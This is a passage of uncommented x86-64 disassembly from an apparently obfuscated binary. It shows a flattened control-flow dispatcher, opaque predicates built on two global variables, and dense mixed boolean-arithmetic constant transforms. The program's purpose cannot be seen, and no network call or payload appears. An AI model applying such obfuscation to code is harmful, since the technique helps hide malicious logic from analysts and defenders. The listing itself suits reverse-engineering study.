not ebp
mov ebx, ecx
xor ebx, 0x78474fda
and ebx, ebp
mov edx, ecx
and edx, 0x87b8b025
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x5a96a88a
and edx, 0xa5695775
or edx, ebx
xor edx, 0xdd2e18ae
and ecx, 0x6654361b
mov ebx, ebp
and ebx, 0x99abc9e4
or ebx, ecx
xor ebx, 0x6654361a
and ebp, 1
or ebp, ebx
not ebp
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x8d45022f
mov ebp, 0x84015da0
jmp 0x14015caf0
cmp ecx, 0xe64b69ac
jg 0x140156b1d
cmp ecx, 0xe4c9b313
je 0x14015a5c3
cmp ecx, 0xe53b1237
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xed4af031
and ebp, 0x12b50fce
or ebp, edi
or ecx, ebx
and ebx, 0xed4af031
and edx, 0x12b50fce
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0x44cd84
and ecx, 0xffbb327b
or ecx, edx
mov ebx, ecx
xor ebx, 0x19913042
mov edx, ebp
not edx
xor ecx, 0x44cd85
mov edi, edx
and edi, 0xe62a873d
and ebp, 0x19d578c2
or ebp, edi
or edx, ecx
and ecx, 0xe62a873d
and ebx, 0x19d578c2
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
sete cl
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg r8b
mov eax, edx
and al, r8b
mov ebx, r9d
and bl, cl
or bl, al
xor bl, 1
or bl, r8b
xor bl, 1
or dl, r9b
xor dl, 1
xor cl, r9b
and cl, r9b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor cl, bl
mov eax, ecx
xor al, 1
and bl, al
xor al, bl
test al, 1
mov eax, 0x92688778
mov edx, 0x4a8c2ea9
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0x92688778
cmovne ecx, edx
jmp 0x14015cbcb
cmp ecx, 0x266d5560
jg 0x140156c0b
cmp ecx, 0x220af418
je 0x14015a688
cmp ecx, 0x252ac57f
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xd3046bb
and ecx, 0xf2cfb944
or ecx, ebx
mov ebx, ecx
xor ebx, 0xf2403900
and ebp, 0x237286b9
and edx, 0xdc8d7946
or edx, ebp
mov ebp, edx
xor ebp, 0xd0003902
xor ecx, 0xd3046bb
xor edx, 0x237286b9
mov edi, ecx
and edi, 0xcbfc4fc
and ebx, 0xf3403b03
or ebx, edi
or ecx, edx
and edx, 0xcbfc4fc
and ebp, 0xf3403b03
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
or bl, al
or cl, r8b
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
and dl, al
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, eax
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xdf3f534f
mov ebp, 0xa2c40b05
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xdf3f534f
jmp 0x14015cf0e
cmp ecx, 0x635547e8
jg 0x140156d22
cmp ecx, 0x600e2e19
je 0x14015a69e
cmp ecx, 0x62730aca
jne 0x14014f740
mov rax, qword [rsp + 0x30]
mov ecx, 0x94d9d81b
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x9a6ffecf
je 0x14015a6b4
cmp ecx, 0x9b1915be
je 0x14015a78a
cmp ecx, 0x9bc9803d
jne 0x14014f740
mov ecx, 0xa00b7930
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xb1bbe955
je 0x14015a835
cmp ecx, 0xb4853f67
je 0x14015a939
cmp ecx, 0xb52e5ffb
jne 0x14014f740
mov ecx, 0xda30ecc1
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x94d9d81b
je 0x140157060
cmp ecx, 0x95693680
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0xef799851
and edx, 0x108667ae
or edx, edi
and ebx, 0xef799851
and ecx, 0x108667ae
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
or cl, bl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x7bbdb9c0
mov edx, 0x9a58e93c
cmovne eax, edx
test bl, 1
mov edx, eax
mov ebp, 0x7bbdb9c0
jmp 0x1401539cd
cmp ecx, 0xdca5761e
je 0x14015aa13
cmp ecx, 0xdd306848
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edx, ebp
or edx, 1
mov edi, ecx
not edi
mov esi, edx
and esi, 0xb59581b
mov ebx, eax
and ebx, 0xf4a6a7e4
or ebx, esi
or edx, edi
and edi, 0xb59581b
and ecx, 0xf4a6a7e4
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
and eax, 0x8868d9c9
and ebp, 0x77972636
or ebp, eax
mov eax, ebp
xor eax, 0x37130224
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x488cb45a
and edx, 0xb7734ba5
or edx, ebx
xor ebp, 0x8089048
and ebp, 0x488cb45a
and eax, 0xb7734ba5
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
setne r10b
sete r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
and r10b, dl
mov ebx, eax
xor bl, r9b
xor dl, r9b
and r9b, al
or r10b, r9b
and bl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
not al
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ecx, r10d
xor cl, 1
and al, cl
or cl, dl
and dl, r10b
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x395eed3b
mov ebp, 0x5595dcc8
cmovne eax, ebp
test dl, dl
mov edx, eax
mov ebp, 0x395eed3b
cmovne edx, ebp
test cl, 1
cmovne edx, eax
jmp 0x14015b438
cmp ecx, 0xea92269
je 0x14015aa2e
cmp ecx, 0x11602b84
jne 0x14014f740
mov ecx, 0x839817ca
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x4b1a20af
je 0x14015ac01
cmp ecx, 0x4c3f35f5
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xb252e66
and ebp, 0xf4dad199
or ebp, edx
mov ebx, ebp
xor ebx, 0x21000
or ecx, 0x220b7de3
mov edx, ecx
not edx
or ebp, 0x5540004
and ebp, 0x255c4185
and ebx, 0x2033c62
or ebx, ebp
and ecx, 0x255c4185
and edx, 0xd8a08218
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x9aba826e
and edx, 0x65457d91
or edx, ecx
mov ebp, edx
xor ebp, 0x14e0030
xor edx, 0xb8b1ff8d
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0xc68069ce
and ebp, 0x397f9631
or ebp, edx
mov edx, ebp
xor edx, 0x11318210
xor ebp, 0xc68069cf
mov edi, ecx
and edi, 0xe8ce34ab
and ebx, 0x1731cb54
or ebx, edi
or ecx, ebp
and ebp, 0xe8ce34ab
and edx, 0x1731cb54
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x1117a3dd
and ecx, 0xeee85c22
or ecx, edx
mov ebx, ecx
xor ebx, 0x84422
xor ecx, 0x2050
or ebp, 0x900c6c73
mov edx, ebp
not edx
or ecx, 0x21c2810c
and ecx, 0xa1c2a95c
and ebx, 0x100c4423
or ebx, ecx
and ebp, 0xa1c2a95c
and edx, 0x4e311280
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x6ff3938c
and edx, 0x900c6c73
or edx, ecx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ebx, ecx
xor bl, r8b
mov eax, ebx
or al, dl
xor dl, cl
not dl
and dl, cl
and bl, r8b
xor dl, 1
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x3af80a9c
mov ebp, 0x589eab9
cmovne ecx, ebp
test bl, 1
mov edx, 0x3af80a9c
cmovne ecx, edx
test al, 1
jmp 0x14015d6e4
cmp ecx, 0x838d5f80
je 0x14015ac17
cmp ecx, 0x839817ca
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb3f15b3b
and ebp, 0x4c0ea4c4
or ebp, edi
or ecx, ebx
and ebx, 0xb3f15b3b
and edx, 0x4c0ea4c4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x16e77b57
and edx, ecx
and ecx, 0xe91884a8
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8008420
xor ecx, 0x16e77b57
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf3591adf
and ebp, 0xca6e520
or ebp, edi
or ecx, ebx
and ebx, 0xf3591adf
and edx, 0xca6e520
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6c283363
and ecx, 0x93d7cc9c
or ecx, edx
mov edx, ecx
xor edx, 0x90804808
xor ecx, 0x24002123
and ecx, 0x2757a5b7
and edx, 0xd8a85a48
or edx, ecx
mov ecx, edx
xor ecx, 0x6052425
xor edx, 0x8881848
and edx, 0x29da99da
and ecx, 0xd6256625
or ecx, edx
xor ecx, 0xd6256625
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, r10d
xor al, cl
mov edx, eax
and dl, r10b
and al, cl
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r9b, r10b
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x838d5f80
mov ecx, 0x11602b84
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0x838d5f80
cmovne ecx, eax
test bl, 1
jmp 0x14015bdd0
cmp ecx, 0xf1feabf8
je 0x14015ad8f
cmp ecx, 0xf6e27837
jne 0x14014f740
mov ecx, 0x1880cf21
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x30985979
je 0x14015ada5
cmp ecx, 0x31f410d0
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x13eb6b29
and edx, ecx
or ecx, 0xec1494d6
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x682b7af1
and ebp, 0x13c00108
or ebp, edi
or ecx, ebx
and ebx, 0x682b7af1
and edx, 0x97d4850e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xec1494d6
and ecx, 0x13eb6b29
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x9dbf6a21
and ecx, 0x624095de
or ecx, ebp
xor ecx, 0x624095df
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa18a570f
and ecx, 0x5e75a8f0
or ecx, edx
mov edx, ecx
xor edx, 0x58408880
xor ecx, 0xa000430e
and ecx, 0xa635637e
and edx, 0x59ca9c81
or edx, ecx
mov ecx, edx
xor ecx, 0x20142378
xor edx, 0x58001c01
and edx, 0xde215c07
and ecx, 0x21dea3f8
or ecx, edx
mov edx, ecx
xor edx, 0x188a208
xor ecx, 0x5e205c07
and ecx, 0x7e765df7
and edx, 0x8189a208
or edx, ecx
xor edx, 0x7e765df7
cmp edx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
and bl, dl
or bl, r8b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
not al
and al, cl
or bl, al
mov eax, edx
xor al, bl
mov eax, 0x583c1a2a
mov ebp, 0x654e452c
cmovne eax, ebp
test bl, bl
jmp 0x14015caf5
cmp ecx, 0x7bce4221
je 0x14014f675
cmp ecx, 0x7c1885e7
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov esi, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x4c02e921
and ecx, 0xb3fd16de
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb3fd16de
and ecx, 0x4c02e921
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xb2b70aae
and ecx, 0x4d48f551
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4908c410
xor ecx, 0xb2b70aaf
mov edi, edx
and edi, 0x34f53342
and ebx, 0xcb0accbc
or ebx, edi
or edx, ecx
and ecx, 0x34f53342
and ebp, 0xcb0accbd
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
xor ecx, 0x3766c72b
and ecx, edx
not edx
and edx, 0x3766c72b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc89938d4
and ecx, 0x3766c72b
or ecx, edx
sete r8b
setne al
cmp esi, 0xa
setl cl
cmp esi, 9
setg r9b
mov edx, r9d
xor dl, al
and al, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
not dl
and r9b, r8b
or r9b, al
mov eax, r9d
xor al, 1
and dl, cl
mov r10d, r9d
and r10b, al
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
mov ebx, r10d
xor bl, 1
xor r10b, r9b
or bl, al
xor bl, 1
or bl, r10b
xor bl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x734cf53c
mov ecx, 0x420218e
cmovne edx, ecx
test al, al
mov ecx, 0x734cf53c
cmovne ecx, edx
jmp 0x140155f0b
cmp ecx, 0xaadee667
je 0x14015ae62
cmp ecx, 0xac70552a
jne 0x14014f740
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe4a20501
mov ebp, eax
and ebp, 0x14908c
or ebp, edx
xor ebp, 0x14908c
mov edx, eax
xor edx, 0xe4b6958d
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x1b496a73
and edx, 0xe4b6958c
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xdea9b985
and edx, 0x2156467a
or edx, ebp
xor edx, 0x2156467a
and ecx, 0xb7d300b4
and eax, 0x482cff4b
or eax, ecx
xor eax, 0x482cff4b
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x10558989
and eax, 0xefaa7676
or eax, ecx
xor eax, 0xefaa7676
setne r8b
sete cl
cmp dword [0x1402656d4], 9
setg dl
xor cl, dl
and cl, dl
xor r8b, dl
xor cl, 1
mov edx, r8d
xor dl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xd076e9d0
mov ebp, 0x9a58e93c
cmovne ecx, ebp
test al, al
mov eax, ecx
mov ebp, 0xd076e9d0
cmovne eax, ebp
test dl, 1
jmp 0x140157c15
cmp ecx, 0xbf716512
je 0x14015ae78
cmp ecx, 0xc0f8b7a9
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x1f0ed32
and edx, ebp
not ebp
and ebp, 0x1c0e132
and ecx, 0x300c00
or ecx, ebp
mov ebp, ecx
xor ebp, 0x400
xor ecx, 0xffcff3ff
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x6e76bae2
and ebp, 0x1804510
or ebp, edi
or ecx, ebx
and ebx, 0x6e76bae2
and edx, 0x9189451d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x45b12989
and ecx, 0xba4ed676
or ecx, edx
mov edx, ecx
xor edx, 0xbbbe3b44
mov ebp, ecx
xor ebp, 0xbbbe3b45
and ebp, edx
xor ecx, 0x4441c4ba
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0x59eb11d6
and ecx, 0xa614ee29
or ecx, ebp
xor ecx, 0xa614ee29
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and r8b, bl
or r8b, al
mov eax, ebx
or al, dl
xor bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, r8b
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x1880cf21
mov eax, 0xe4b43be8
cmovne ecx, eax
test dl, 1
cmovne ecx, eax
not bl
test bl, 1
mov eax, 0x1880cf21
jmp 0x14015cf0e
cmp ecx, 0xf95e065c
je 0x14015afa0
cmp ecx, 0xfa936622
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x1488aaa2
mov edx, ecx
and edx, 0xeb77555c
or edx, ebp
mov ebp, edx
xor ebp, 0x2913144c
xor edx, 0x1488aaa3
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, edi
not esi
mov eax, edx
and eax, 0xd6e44110
and ebp, 0x291bbeee
or ebp, eax
or edx, esi
and esi, 0xd6e44110
and edi, 0x291bbeef
or edi, esi
xor edi, ebp
not edx
or edx, edi
not edx
and ebx, 0x44115344
and ecx, 0xbbeeacbb
or ecx, ebx
xor ecx, 0xbbeeacbb
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1f4e1243
and ecx, 0xe0b1edbc
or ecx, eax
xor ecx, 0xe0b1edbc
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, cl
and dl, bl
xor dl, 1
mov eax, edx
xor al, r10b
not al
and al, r10b
or dl, r10b
xor al, 1
mov r8d, eax
xor r8b, dl
or al, dl
xor al, 1
or al, r8b
and r9b, bl
or bl, r10b
xor bl, 1
and cl, r10b
or cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xbce09d12
mov ebp, 0xc881eb4
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xbce09d12
jmp 0x14015cf0e
cmp ecx, 0x36754356
je 0x14015b0f2
cmp ecx, 0x38ff62c2
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x5f556f08
and ecx, edx
or edx, 0xa0aa90f7
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x3ca9bc6c
and ebp, 0x43544300
or ebp, edi
or edx, ebx
and ebx, 0x3ca9bc6c
and ecx, 0xc3564393
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa0aa90f7
and edx, 0x5f556f08
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x92d8dd7e
and edx, 0x6d272281
or edx, ecx
mov eax, edx
xor eax, 0x6d272281
xor edx, 0x92d8dd7e
mov edi, edx
or edi, 0x3f969dd9
mov esi, edi
not esi
or ebx, 0xc0696226
mov ecx, ebx
not ecx
and edi, 0x8356da45
and esi, 0x40292022
or esi, edi
and ebx, 0x8356da45
and ecx, 0x3c800598
or ecx, ebx
xor ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xe7b26ab
and ecx, 0xf184d954
or ecx, ebx
mov ebx, ecx
xor ebx, 0x11258243
and edx, 0x810980c5
mov ebp, eax
and ebp, 0x7ef67f3a
or ebp, edx
xor ebp, 0x810980c4
and eax, 1
or eax, ebp
mov edx, eax
not edx
and edx, 0x996b73e3
and eax, 0x66948c1c
or eax, edx
mov edx, eax
xor edx, 0x46148408
xor ecx, 0xce12448c
xor eax, 0x996b73e3
mov ebp, ecx
and ebp, 0xa8ca7934
and ebx, 0x573586cb
or ebx, ebp
or ecx, eax
and eax, 0xa8ca7934
and edx, 0x573586cb
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
mov ebp, eax
or ebp, 0xccd3a30e
mov edx, ebp
not edx
or ecx, 0x200c11
and ecx, 0x80a22f13
and eax, 0x4c51800c
or eax, ecx
and ebp, 0x80a22f13
and edx, 0x330c50e0
or edx, ebp
xor edx, eax
mov eax, edx
not eax
and eax, 0x6ab63d17
and edx, 0x9549c2e8
or edx, eax
xor edx, 0x599a61e6
setne r9b
sete cl
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
xor r10b, r9b
mov ecx, ebx
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
and cl, r10b
xor r10b, 1
xor al, 1
and al, r10b
or cl, al
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, r10d
xor al, cl
test r10b, r10b
mov edx, 0x4c7cbf6a
mov ebp, 0xa2c40b05
cmovne edx, ebp
test cl, cl
cmove edx, ebp
test al, 1
mov eax, 0x4c7cbf6a
jmp 0x14015b435
cmp ecx, 0xdefa2e02
je 0x14015b23f
cmp ecx, 0xdf0fd338
jne 0x14014f740
mov ecx, 0xc404a20c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x1880cf21
je 0x14015b255
cmp ecx, 0x1a367e24
jne 0x14014f740
mov rax, qword [rsp + 0x30]
mov ecx, 0x635547e9
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x5595dcc8
je 0x14015b339
cmp ecx, 0x561a460f
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xc6acc97b
and edx, 0x39533684
or edx, ecx
mov ecx, edx
xor ecx, 0x39533684
xor edx, 0xc6acc97b
mov edi, edx
or edi, 0xaac19a08
mov esi, edi
not esi
or ebx, 0x553e65f7
mov ebp, ebx
not ebp
and edi, 0xcad485ee
and esi, 0x152a6011
or esi, edi
and ebx, 0xcad485ee
and ebp, 0x20011a00
or ebp, ebx
xor ebp, esi
mov ebx, ebp
not ebx
and ebx, 0xaac19a09
and ebp, 0x553e65f6
or ebp, ebx
and edx, 0xc3be9ee2
mov ebx, ecx
and ebx, 0x3c41611d
or ebx, edx
xor ebx, 0xc3be9ee3
and ecx, 1
or ecx, ebx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xff97964c
and ecx, 0x6869b3
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6869b3
and ecx, 0xff97964c
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd34e39f9
and ecx, 0x2cb1c606
or ecx, ebp
xor ecx, 0xd34e39f9
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov r9d, ebx
xor r9b, 1
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
and cl, al
xor al, 1
and r9b, al
or r9b, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, r9b
test cl, 1
mov edx, 0x7d527ec9
mov ecx, 0xb892e76e
cmovne edx, ecx
test al, 1
mov ecx, 0x7d527ec9
cmovne ecx, edx
test r9b, 1
jmp 0x14015d4cb
cmp ecx, 0xb9449f46
je 0x14015b44b
cmp ecx, 0xb95f355d
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebx, ecx
or ebx, 0x95d41bf0
mov edi, ebx
not edi
mov edx, esi
or edx, 0x6a2be40f
mov ebp, edx
not ebp
and ebx, 0x7659b966
and edi, 0x8224409
or edi, ebx
and edx, 0x7659b966
and ebp, 0x81840290
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x95d41bf1
and ebp, 0x6a2be40e
or ebp, edx
not ebp
and esi, 0x7ca2515
and ecx, 0xf835daea
or ecx, esi
xor ecx, 0xf835daea
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe73b4cdc
and ecx, 0x18c4b323
or ecx, edx
xor ecx, 0x18c4b323
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
xor dl, cl
and cl, bl
or bl, r8b
xor bl, 1
or bl, dl
and al, r8b
or al, cl
mov edx, eax
